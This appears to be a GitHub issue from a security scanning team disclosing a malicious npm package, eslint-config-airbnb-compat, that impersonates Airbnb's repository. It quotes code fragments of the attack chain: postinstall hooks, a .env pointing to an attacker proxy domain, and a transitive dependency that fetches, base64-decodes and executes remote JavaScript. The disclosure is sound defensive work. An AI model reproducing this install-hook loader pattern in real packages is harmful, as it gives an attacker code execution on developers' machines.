-
Notifications
You must be signed in to change notification settings - Fork 26.8k
Description
Our malicious open source code scanning infrastructure behind vet discovered an interesting npm package eslint-config-airbnb-compat which appears to be malicious. This package appears to impersonate source origin as github.com/airbnb/javascript possibly with the goal of starjacking and spoofing its origin to automated security tools.
Malicious Code
eslint-config-airbnb-compat
contains a post install script to execute setup.js
"postinstall": "node ./setup",
However, to avoid identification, the setup.js
does not have any malicious code. It simply does the following:
Copy the embedded .env.example
to .env
if (!fs.existsSync(".env")) {
fs.copyFileSync(".env.example", ".env");
process.env.APP_PATH=process.cwd();
}
The .env
file contains the following
APP_ENV=local
APP_PROXY=https://proxy.eslint-proxy.site
APP_LOCAL=
ESLINT_DEBUG=true
FORCE_COLOR=1
Execute npm install
if node_modules
directory is not present
if (!fs.existsSync("node_modules")) {
run('npm install');
}
This may not appear as malicious but one of the transitive dependencies introduced by this package is ts-runtime-compat-check
. This package in turn have a post install script:
"postinstall": "node lib/install.js",
The lib/install.js
contains interesting code:
const appPath = process.env.APP_PATH || 'http://localhost';
const proxy = process.env.APP_PROXY || 'http://localhost';
const response = await fetch(
`${proxy}/api/v1/hb89/data?appPath=${appPath}`
);
When introduced through eslint-config-airbnb-compat
, it will have proxy=https://proxy.eslint-proxy.site
in the fetch(..)
call above. The above fetch call is expected to fail to trigger errorHandler
function with remote server provided error message
if (!response.ok) {
const apiError = await response.json();
throw new Error(apiError.error);
}
await response.json();
} catch (err) {
errorHandler(err.message);
}
So the remote server at https://proxy.eslint-proxy.site
can return a JSON message such as {"error": "<JS Payload>"}
which in turn will be passed to errorHandler
as an Error
object.
The error handler in turn does the following:
- Decode the message as base64 string
const decoded = Buffer.from(error, "base64").toString("utf-8");
- Constructs a function from the decoded string
const handler = new Function.constructor("require", errCode);
- Finally executes the remote code
const handlerFunc = createHandler(decoded);
if (handlerFunc) {
handlerFunc(require);
} else {
console.error("Handler function is not available.");
}
This pretty much confirm the malicious behaviour of the entire attack chain. We are in process of identifying the impact of this attack. Disclosing here because we feel its related to, if not targeting AirBnb packages and downstream users of these packages.